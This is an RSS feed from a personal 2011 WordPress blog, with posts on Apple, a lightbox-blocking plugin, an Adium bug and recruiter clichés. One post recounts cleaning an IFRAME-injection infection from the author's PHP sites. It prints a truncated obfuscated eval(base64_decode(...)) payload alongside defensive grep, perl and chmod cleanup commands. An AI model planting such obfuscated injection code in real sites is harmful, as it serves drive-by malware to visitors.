<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BBQIguana &#187; bbqiguana</title>
	<atom:link href="http://www.bbqiguana.com/author/bbqiguana/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bbqiguana.com</link>
	<description></description>
	<lastBuildDate>Fri, 28 Oct 2011 13:17:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>The anti-Apple hypocrisy is too much for me</title>
		<link>http://www.bbqiguana.com/2011/08/the-anti-apple-hypocrisy-is-too-much-for-me/</link>
		<comments>http://www.bbqiguana.com/2011/08/the-anti-apple-hypocrisy-is-too-much-for-me/#comments</comments>
		<pubDate>Fri, 26 Aug 2011 12:06:03 +0000</pubDate>
		<dc:creator>bbqiguana</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.bbqiguana.com/?p=1858</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div style="float:right;margin:5px;" class="tweet_button"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.bbqiguana.com/2011/08/the-anti-apple-hypocrisy-is-too-much-for-me/" data-text="The anti-Apple hypocrisy is too much for me" data-count="vertical" data-via="bbqiguana"">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><p>I understand criticizing a company that does things you don&#8217;t agree with. And I even understand having an (illogically) negative emotional attitude toward whoever is the biggest guy on the block. That&#8217;s human nature.</p>
<p>But what I don&#8217;t understand is the enmity that has been fostered toward a)Apple&#8217;s user base, and b)it (now former) CEO.</p>
<p>First, the <em>fanboy</em> jeers. This is among the most insulting words ever invented. This single word takes everything good that we as humans should stand for &mdash; happiness, enthusiasm, loyalty &mdash; and single-handedly turns them into a slur against an enormous group of people. Hundreds of millions, even. </p>
<p>Sure, it&#8217;s not hating people for being black, or Jewish, it&#8217;s hating them for being happy with a product they bought. Therefore, by law, it&#8217;s not technically hate-speech. But it is. When I hear the word &#8220;fanboy&#8221;, I hear hate-speech.</p>
<p>And second, the insults against Steve Jobs. Why? Because he has been successful? Because he&#8217;s had the good fortune of having ideas that people like? </p>
<p>I hear people say things like, &#8220;Why did you do that? Is it because Steve Jobs <em>told you to</em> do it?&#8221; Or, &#8220;I don&#8217;t want to be stuck with a product that only lets me do what Steve Jobs wants me to do.&#8221; Just this morning, I read a Facebook message from a friend of mine, basically attacking Steve Jobs for being a weak, frail, man who has no business running a company. Seriously. You&#8217;re kicking the guy because he has cancer? Low.</p>
<p>For more than 10 years, I was a computer user with my fate tied to Microsoft&#8217;s whims. I was dragged through every security hole, every licensing agreement, every DLL hell, every flaw in their software, and every whim in their financial department, and every stranglehold in their legal department. </p>
<p>I hated Microsoft. I watched as they blatantly used anti-competitive practices to wipe good companies off the map and establish unearned and unjustified dominance. But I never felt the need to take that out on Bill Gates. He&#8217;s a smart man, who single-handedly changed the world.</p>
<p>But now it&#8217;s Steve Jobs who&#8217;s spent the last 10 years changing the world. And yet somehow the rules have changed. He wears funny clothes and he&#8217;s really skinny, so let&#8217;s hate him.</p>
<p>Fuck that.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bbqiguana.com/2011/08/the-anti-apple-hypocrisy-is-too-much-for-me/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lightboxes are for assholes</title>
		<link>http://www.bbqiguana.com/2011/08/lightboxes-are-for-assholes/</link>
		<comments>http://www.bbqiguana.com/2011/08/lightboxes-are-for-assholes/#comments</comments>
		<pubDate>Sat, 20 Aug 2011 23:45:24 +0000</pubDate>
		<dc:creator>bbqiguana</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.bbqiguana.com/?p=1856</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div style="float:right;margin:5px;" class="tweet_button"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.bbqiguana.com/2011/08/lightboxes-are-for-assholes/" data-text="Lightboxes are for assholes" data-count="vertical" data-via="bbqiguana"">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><p>There is a sickening, maddening, frustrating, irritating trend in the web for the last year or so. People are overusing &#8220;lightboxes&#8221;. </p>
<p>A lightbox is that effect when the screen goes kind of dark and you can only see one thing centered in the middle. It&#8217;s a modern (web 2.0?) form of modal input. </p>
<p>In other words, it stops you from doing what you want, in order to force you to do what the web site wants. And that, my friends, is a fundamentally evil behavior.</p>
<p>This particular behavior is especially overused in internet marketing: you&#8217;re trying to read a blog and then suddenly you can&#8217;t do anything until you sign up for their email list; you&#8217;re trying to read some song lyrics but suddenly your screen is hijacked by an ad for ringtones; you click a link to read an article on a news site, but before you can read it you have to sit through a commercial for Swiffer or some other bullshit.  </p>
<p>Well fuck that.  I made a browser plugin to shut off those lightboxes. Click for <a href="https://addons.mozilla.org/en-US/firefox/addon/stoppity-poppity/" title="Stoppity Poppity for Firefox">Firefox</a>. Click for <a href="https://chrome.google.com/webstore/detail/abckjldgppcaijlhpdjipckhehlpenbf" title="Stoppity Poppity for Chrome">Chrome</a>. </p>
<p>Unfortunately, because this is a non-standard behavior, there are limitless ways to create new lightbox popups and my plugin can never stop <em>all of them</em>, but I&#8217;m happy just to stop the most used ones, if that means an improved browsing experience for some people.</p>
<p>Meanwhile, if you use my plugin and you see a site with lightbox popus that aren&#8217;t blocked, please <a href="http://twitter.com/yearlyglot" title="@yearlyglot">tweet me</a> or <a href="mailto:letsgetrandy@gmail.com">email me</a> or comment here and I&#8217;ll happily add support to block it in the future.</p>
<div class="link-summarizer"><p><strong>Links in this post</strong><ul><li><a href='https://addons.mozilla.org/en-US/firefox/addon/stoppity-poppity/' title="Stoppity Poppity for Firefox">Stoppity Poppity for Firefox</a></li><li><a href='https://chrome.google.com/webstore/detail/abckjldgppcaijlhpdjipckhehlpenbf' title="Stoppity Poppity for Chrome">Stoppity Poppity for Chrome</a></li><li><a href='http://twitter.com/yearlyglot' title="@yearlyglot">@yearlyglot</a></li><li><a href='mailto:letsgetrandy@gmail.com'>mailto:letsgetrandy@gmail.com</a></li></ul></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.bbqiguana.com/2011/08/lightboxes-are-for-assholes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Adium silent failure when joining new chat</title>
		<link>http://www.bbqiguana.com/2011/06/adium-silent-failure-when-joining-new-chat/</link>
		<comments>http://www.bbqiguana.com/2011/06/adium-silent-failure-when-joining-new-chat/#comments</comments>
		<pubDate>Fri, 03 Jun 2011 11:08:02 +0000</pubDate>
		<dc:creator>bbqiguana</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.bbqiguana.com/?p=1849</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div style="float:right;margin:5px;" class="tweet_button"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.bbqiguana.com/2011/06/adium-silent-failure-when-joining-new-chat/" data-text="Adium silent failure when joining new chat" data-count="vertical" data-via="bbqiguana"">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><p>I use Adium for almost all of my chat needs (all but Skype) on the Mac, so this week, as I was starting my new job and setting up my new computer I installed Adium and tried to log in to the developers chat room.  </p>
<p>The problem is, I typed the wrong information on the first attempt, and there is a bug in Adium which causes it to silently fail on all subsequent attempts, even after the information is entered correctly.</p>
<p>I tried dozens of times. I tried closing and reopening Adium. Nothing.</p>
<p>When a coworker sent me an invitation to the group, I was able to get in, but that only lasted half a day, and then I was once again unable to connect.</p>
<p>What finally did work for me, was to completely wipe the contents of <strong>~/Library/Application Support/Adium 2.0</strong> and restart Adium. After doing this, I had to add my accounts again, but everything worked as expected.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bbqiguana.com/2011/06/adium-silent-failure-when-joining-new-chat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IFRAME insertion PHP exploit</title>
		<link>http://www.bbqiguana.com/2011/05/iframe-insertion-php-exploit/</link>
		<comments>http://www.bbqiguana.com/2011/05/iframe-insertion-php-exploit/#comments</comments>
		<pubDate>Sun, 08 May 2011 00:18:38 +0000</pubDate>
		<dc:creator>bbqiguana</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.bbqiguana.com/?p=1837</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div style="float:right;margin:5px;" class="tweet_button"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.bbqiguana.com/2011/05/iframe-insertion-php-exploit/" data-text="IFRAME insertion PHP exploit" data-count="vertical" data-via="bbqiguana"">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><p>This morning I received a comment on one of my blogs, suggesting that I may have some sort of virus, because navigating to my site triggered <strong>Windows Security Essentials</strong> to warn of a <strong>TrojanDownloader: Java/Exdoer</strong>.</p>
<p>I use a Mac, so as usual, the &#8220;virus&#8221; had no effect on me. But when I viewed the source code of my web site, saw a sneaky IFRAME has been inserted at the very top, even ahead of my DOCTYPE.</p>
<p>My fist thought was to go to another web site hosted on the same account and see if it had been affected. It had. In fact, all of my web sites were affected.</p>
<p>Having seen a similar attack on my previous web host, I had an idea what to look for. I checked several PHP files, but noticed that only those named <em>index.php</em> had been affected. One by one, I began to open them, and pull out the offending code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'ZXJyb3JfcmVwb3J0aW5nKDApOw0
KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlci
A9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3b
CcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4J
...
...
L2Ftcnlhd21pLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WU
FFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhl
aWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>It was a lot longer than that, but I&#8217;m not going to post the entire code &mdash; both for readability and because I don&#8217;t want to hand out the offending code.</p>
<p>What surprised me, though, was that before I had reached the end of the files I was cleaning, those from which I had already removed the code now had it back! </p>
<p>I was able to verify the infections by issuing the following command:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-rl</span> <span style="color: #660033;">--include</span>=index.php <span style="color: #ff0000;">&quot;eval(base64_decode&quot;</span> .</pre></div></div>

<p>My next theory was that part of the &#8220;virus&#8221; must include a step to spread itself. That is, after all, the feature that would make it a virus. And if that&#8217;s the case, allowing it to be called from one web site would reinfect all the others before I could finish cleaning them in the first place.</p>
<p>So I made a script to do it more quickly:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/env perl</span>
<span style="color: #000000; font-weight: bold;">use</span> strict<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> warnings<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #0000ff;">$^I</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'.cleanbak'</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;"># Call for in-place editing; make backups with a .bak suffix</span>
&nbsp;
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">&lt;&gt;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #009966; font-style: italic;">s/eval\(base64[^\)]+\)\)\;//g</span><span style="color: #339933;">;</span>
  <span style="color: #000066;">print</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>I named that file <strong>bin/clean</strong>, and then I called it by doing the following:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">find</span> . <span style="color: #660033;">-type</span> f <span style="color: #660033;">-name</span> <span style="color: #ff0000;">'index.php'</span> <span style="color: #660033;">-exec</span> bin<span style="color: #000000; font-weight: bold;">/</span>clean2 <span style="color: #ff0000;">'{}'</span> \;</pre></div></div>

<p>This removed all traces of the offending code, leaving my web sites safe once again for visitors. I tested everything and verified that the &#8220;virus&#8221; was no longer showing up on any of my sites.  And my <code>grep</code> showed that there were no more bits of hidden base64 code.</p>
<p>But on a lark, I checked again half an hour later and it was back!</p>
<p>So I issued the cleanup command again. And then when it finished, I disabled write permission on my files.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">find</span> . <span style="color: #660033;">-type</span> f <span style="color: #660033;">-name</span> <span style="color: #ff0000;">'index.php'</span> <span style="color: #660033;">-exec</span> <span style="color: #c20cb9; font-weight: bold;">chmod</span> <span style="color: #000000;">444</span> <span style="color: #ff0000;">'{}'</span> \;</pre></div></div>

<p>This seems to have stemmed the tide. It&#8217;s certainly more secure to keep permissions closed down this way, but the obvious side-effect of this is that it will disable the auto-update feature of WordPress.</p>
<p>And more importantly, it&#8217;s necessary to find the root cause, because one should not have to lock down write permissions to protect their web site.  I need to find out if there is some other script somewhere in my account that&#8217;s doing this, or if it&#8217;s coming from an admin account on the entire box&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bbqiguana.com/2011/05/iframe-insertion-php-exploit/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>How &#8220;It just works&#8221; changes everything</title>
		<link>http://www.bbqiguana.com/2011/04/how-it-just-works-changes-everything/</link>
		<comments>http://www.bbqiguana.com/2011/04/how-it-just-works-changes-everything/#comments</comments>
		<pubDate>Fri, 29 Apr 2011 21:02:54 +0000</pubDate>
		<dc:creator>bbqiguana</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.bbqiguana.com/?p=1830</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div style="float:right;margin:5px;" class="tweet_button"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.bbqiguana.com/2011/04/how-it-just-works-changes-everything/" data-text="How "It just works" changes everything" data-count="vertical" data-via="bbqiguana"">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><p>When I first bought my iBook in 2004, it was my first experience is OS X. I&#8217;d seen the demos. I&#8217;d played with the cool zooming dock bar. I&#8217;d worked with people who worked on Macs. But until I bought one, I didn&#8217;t understand.</p>
<p>There was nothing to configure. There was nothing to fuss with. There was no Add/Remove Programs in the Control Panel, no <em>DLL hell</em>, no blue screens, no drivers, nothing. My mail went to Mail, my calendar went to Calendar, my contacts went to Address Book, and for everything else I went to Safari.</p>
<p>When I bought my first iPod the following year, it was more of the same. You plug it in, it syncs. You pushed play, it played. You pushed pause, it paused. You pick a song,<br />
you hear that song. </p>
<h3>It used to be different</h3>
<p>I had spend the previous 10 years messing with Windows and Linux, and 10 years prior to that messing with MS-DOS and AppleDOS. My entire life&#8217;s reference to technology had painted it into this box of gadgets, toys, things to play with.</p>
<p>It was necessary to buy the radio with the most buttons and knobs, and a 31-band equalizer, because radios didn&#8217;t give us good sound. They needed to be tweaked&#8230; and tweak them we did! </p>
<p>If you had a computer, it was part of a wall-sized arsenal. There was a desk, a tower, a keyboard, a mouse, a monitor, speakers, printer, scanner, a shelf for all the software boxes and a drawer stuffed full of CDs.  A computer wasn&#8217;t a tool, it was a thing that competed for attention, for space, and for money.</p>
<h3>Today, it just works</h3>
<p>But that&#8217;s not the case any more. Thanks to Apple, we have grown accustomed to things that &#8220;just work.&#8221;  No more need for a matrix of wires and a shelf full of peripherals. These days, it&#8217;s not uncommon to see a desktop with just a single device on it:  a MacBook Pro, or maybe an iMac with wireless keyboard and mouse.</p>
<p>And it&#8217;s not just Apple. While Apple championed this change, everyone else has had to follow suit if they want to compete. Today, Windows is simpler to use. Today, Sony makes PCs that are as elegant as those from Apple.  </p>
<p>We&#8217;ve all benefitted from Apple, even those of use who don&#8217;t own any Apple products. Today, it just works. And the difference is amazing. When you&#8217;re not spending precious brain cycles managing the mess of cables and peripherals and drivers, you have a lot more attention that you can focus directly on your work. And I think it shows, because people are doing some pretty cool things these days.</p>
<h3>The time has come for minimalist software</h3>
<p>Over the past year or two, I&#8217;ve noticed a change in how I use my computers. With the rise of the social networks and the arrival of &#8220;the cloud&#8221;, it has become all too common for my average browser session to have several tabs open at all times:  two Gmail tabs (for professional and personal accounts), one tab open to Facebook, and one tab open to Twitter. Not to mention often having another tab open to the WordPress admin page on my blog, and maybe additional pages for Google Reader, Google Docs, etc. </p>
<p>My browser was using the majority of my system resources. It was also beginning to invade my mental space. With so many tabs open, you eventually find yourself flipping through them, tab by tab, to see what you&#8217;ve missed.  Web 2.0 was putting me right back into that cluttered mess from which OS X had rescued me. People have invented all manner of software to limit your ability to surf the web, or to put time limits on your Facebook use, but these things are totalitarian. And what&#8217;s worse, they don&#8217;t work.</p>
<h3>The toolbar and Growl</h3>
<p>I&#8217;m tempted to give Apple the credit for saving us once again, thanks to the App Store, but that would really be accurate. The real answer comes in the form of <a href="http://growl.info/" title="Growl">Growl</a>, and the many Toolbar apps that support it. I&#8217;ve found many of them on the Mac App Store, but there are also several which I couldn&#8217;t find there. </p>
<p>It all started when I tried the <a href="http://itunes.apple.com/us/app/twitter/id409789998?mt=12" title="Twitter, on the Mac App Store">Twitter app</a>, and found a much better twitter experience by pulling out of the browser. And the immediate feedback from Growl stopped my need to keep looking.  </p>
<p>Then, I heard about <a href="http://itunes.apple.com/us/app/sparrow/id417250177?mt=12" title="Sparrow, at the Mac App Store">Sparrow</a>. Sparrow is an email client that runs in the toolbar. It supports multiple accounts, and has Growl notifications when email comes in. Now, I don&#8217;t have to keep looking at Gmail pages to see if I&#8217;ve got any mail, because I have instant visual feedback in the toolbar, as well as a very user-friendly interface through which to read and respond.</p>
<p>I&#8217;ve added <a href="http://www.macupdate.com/app/mac/23967/fmenu" title="FMenu">FMenu</a> to give me Facebook alerts, <a href="http://itunes.apple.com/us/app/growlvoice/id413146256?mt=12" title="GrowlVoice, at the Mac App Store">GrowlVoice</a> to help me easily see and respond to calls and text messages over <a href="http://www.google.com/voice" title="Google Voice">Google Voice</a>, and even <a href="http://www.skype.com/" title="Skype">Skype</a> can run in the toolbar and has Growl support.</p>
<h3>It just works. Again.</h3>
<p>Now, without all that mental overhead, I&#8217;m once again finding myself returning to that peaceful state of mind, where I have no distractions. In the same way that Apple rescued me from PC hell, and Google Reader rescued me from seperate trips to dozens of web sites, now the OS X toolbar, and Growl, are resucuing me from Web 2.0.</p>
<p>I no longer have any need to visit these web sites to see if there&#8217;s activity. I already know based on the icon in my toolbar. And if I&#8217;ve been at the computer (which I probably have) I probably saw a summary of the activity flash in the corner of my screen, as a Growl notification.  So not only do I know about the activity, but I also know whether or not I need to respond to it.</p>
<p>And lest there be any doubt&#8230; a native app running in the toolbar consumes <em>FAR LESS</em> system resources than a browser tab &mdash; even in Chrome where performance has been so well considered. So not only am I freeing up my own attention, but I&#8217;m also freeing up that of my computer, meaning that it will perform better with the extra work I&#8217;m going to give it.  <img src='http://www.bbqiguana.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class="link-summarizer"><p><strong>Links in this post</strong><ul><li><a href='http://growl.info/' title="Growl">Growl</a></li><li><a href='http://itunes.apple.com/us/app/twitter/id409789998?mt=12' title="Twitter, on the Mac App Store">Twitter, on the Mac App Store</a></li><li><a href='http://itunes.apple.com/us/app/sparrow/id417250177?mt=12' title="Sparrow, at the Mac App Store">Sparrow, at the Mac App Store</a></li><li><a href='http://www.macupdate.com/app/mac/23967/fmenu' title="FMenu">FMenu</a></li><li><a href='http://itunes.apple.com/us/app/growlvoice/id413146256?mt=12' title="GrowlVoice, at the Mac App Store">GrowlVoice, at the Mac App Store</a></li><li><a href='http://www.google.com/voice' title="Google Voice">Google Voice</a></li><li><a href='http://www.skype.com/' title="Skype">Skype</a></li></ul></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.bbqiguana.com/2011/04/how-it-just-works-changes-everything/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Let programmers program. Okay?</title>
		<link>http://www.bbqiguana.com/2011/02/let-programmers-program-okay/</link>
		<comments>http://www.bbqiguana.com/2011/02/let-programmers-program-okay/#comments</comments>
		<pubDate>Fri, 25 Feb 2011 17:10:52 +0000</pubDate>
		<dc:creator>bbqiguana</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.bbqiguana.com/?p=1804</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div style="float:right;margin:5px;" class="tweet_button"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.bbqiguana.com/2011/02/let-programmers-program-okay/" data-text="Let programmers program. Okay?" data-count="vertical" data-via="bbqiguana"">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><p>It&#8217;s funny.  I don&#8217;t get to go tell the designers how to draw pictures.  I don&#8217;t get to tell the managers which columns to use in their spreadsheets or which office to use for meetings. And I don&#8217;t get to tell the analysts how to order coffee or where to buy discount shoes.</p>
<p>So why do all of these people get to dictate which database I use?  Why does someone who doesn&#8217;t even know what an application server is get to tell me which one I have to use?  Why do I have to spend 90% of my time reinventing the wheel to fit with your new, insane configurations, instead of being allowed to define the configuration at the beginning when I can tell you all the time and money you&#8217;ll save by reusing the work that&#8217;s already been done?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bbqiguana.com/2011/02/let-programmers-program-okay/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Calling about your resume</title>
		<link>http://www.bbqiguana.com/2011/01/calling-about-your-resume/</link>
		<comments>http://www.bbqiguana.com/2011/01/calling-about-your-resume/#comments</comments>
		<pubDate>Mon, 24 Jan 2011 16:27:13 +0000</pubDate>
		<dc:creator>bbqiguana</dc:creator>
				<category><![CDATA[Job Hunting]]></category>
		<category><![CDATA[recruiters]]></category>
		<category><![CDATA[resumes]]></category>

		<guid isPermaLink="false">http://www.bbqiguana.com/?p=1791</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div style="float:right;margin:5px;" class="tweet_button"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.bbqiguana.com/2011/01/calling-about-your-resume/" data-text="Calling about your resume" data-count="vertical" data-via="bbqiguana"">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><p>Have you gotten that message? &#8220;Hi, $your_name, I&#8217;m calling about your resume&#8230;&#8221;</p>
<p>Oh? My resume? Is there something wrong with it? Am I being sued for trademark infringement because I listed an employer&#8217;s name?</p>
<p>Don&#8217;t call me about my resume. You&#8217;ve already got my resume. I know you do, because that&#8217;s where you found my phone number, jackass.</p>
<p>How about you call me about a job, eh? I already know about my resume — I wrote it! That&#8217;s why I&#8217;m not returning your calls. Now, if you called me about a job, maybe I&#8217;d call you back&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bbqiguana.com/2011/01/calling-about-your-resume/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Long overdue feature added to Linked Image plugin</title>
		<link>http://www.bbqiguana.com/2010/12/long-overdue-feature-added-to-linked-image-plugin/</link>
		<comments>http://www.bbqiguana.com/2010/12/long-overdue-feature-added-to-linked-image-plugin/#comments</comments>
		<pubDate>Thu, 23 Dec 2010 19:06:28 +0000</pubDate>
		<dc:creator>bbqiguana</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.bbqiguana.com/?p=1782</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div style="float:right;margin:5px;" class="tweet_button"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.bbqiguana.com/2010/12/long-overdue-feature-added-to-linked-image-plugin/" data-text="Long overdue feature added to Linked Image plugin" data-count="vertical" data-via="bbqiguana"">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><p>The most requested feature of my <a href="http://www.bbqiguana.com/wordpress-plugins/add-linked-images-to-gallery/" title="Add Linked Images To Gallery plugin for WordPress">Add Linked Images To Gallery</a> plugin has been a function to process all past posts.</p>
<p>I&#8217;ve finally found the time to add this feature, and published it as version 1.3.  I hope this will make everyone happy. Merry Christmas.</p>
<div class="link-summarizer"><p><strong>Links in this post</strong><ul><li><a href='http://www.bbqiguana.com/wordpress-plugins/add-linked-images-to-gallery/' title="Add Linked Images To Gallery plugin for WordPress">Add Linked Images To ... plugin for WordPress</a></li></ul></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.bbqiguana.com/2010/12/long-overdue-feature-added-to-linked-image-plugin/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>A job with one of our &#8220;top clients&#8221;</title>
		<link>http://www.bbqiguana.com/2010/11/a-job-with-one-of-our-top-clients/</link>
		<comments>http://www.bbqiguana.com/2010/11/a-job-with-one-of-our-top-clients/#comments</comments>
		<pubDate>Tue, 16 Nov 2010 17:14:01 +0000</pubDate>
		<dc:creator>bbqiguana</dc:creator>
				<category><![CDATA[Job Hunting]]></category>

		<guid isPermaLink="false">http://www.bbqiguana.com/?p=1745</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div style="float:right;margin:5px;" class="tweet_button"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.bbqiguana.com/2010/11/a-job-with-one-of-our-top-clients/" data-text="A job with one of our "top clients"" data-count="vertical" data-via="bbqiguana"">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><p>This is another recruiter cliché that drives me nuts. Why are you telling me that it&#8217;s one of your <em>top clients</em>?</p>
<p>If the client was really as impressive as you want me to think they are, you would only have to tell me their name. Instead, you&#8217;re withholding the name and trying to make them sound better.</p>
<p><em>(Maybe this explains why you&#8217;re still only the second-largest privately held executive staffing firm in your city.)</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bbqiguana.com/2010/11/a-job-with-one-of-our-top-clients/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>I don&#8217;t care about your company</title>
		<link>http://www.bbqiguana.com/2010/11/i-dont-care-about-your-company/</link>
		<comments>http://www.bbqiguana.com/2010/11/i-dont-care-about-your-company/#comments</comments>
		<pubDate>Fri, 12 Nov 2010 20:54:49 +0000</pubDate>
		<dc:creator>bbqiguana</dc:creator>
				<category><![CDATA[Job Hunting]]></category>

		<guid isPermaLink="false">http://www.bbqiguana.com/?p=1741</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div style="float:right;margin:5px;" class="tweet_button"><a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.bbqiguana.com/2010/11/i-dont-care-about-your-company/" data-text="I don't care about your company" data-count="vertical" data-via="bbqiguana"">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><p>I get voicemails and emails all the time from recruiters that start off like this:<br />
<blockquote>
<p>My name is <em>[some guy]</em> and I&#8217;m an executive recruiter at <em>[Just another headhunter]<em>.  We are the 2nd largest privately held Executive Search Firm in NYC according to Crains.</p>
</blockquote>
<p>Really? Wow, well I can see that <em>you</em> think that&#8217;s impressive, but what does it mean for me?</p>
<p>You&#8217;re not the largest, so you&#8217;re bragging about being <em>not quite as good</em>.  And then, you&#8217;re not talking about the world, or even the US, or even the state of New York.. you&#8217;re just talking about New York City. Sure, its&#8217; a big city, but it&#8217;s not the only city.  </p>
<p>So let me get this straight&#8230; I should be impressed by receiving an email from a guy who works for a company that&#8217;s not even the best in one single city?</p>
<p>And if you&#8217;ve got a <em>really great opportunity</em> for me, just how much should I really trust your judgment?</p>
<p>Stop trying to impress me with where you work and start impressing me with how good you are at what you do.</p>
<p><em>DELETE</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bbqiguana.com/2010/11/i-dont-care-about-your-company/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

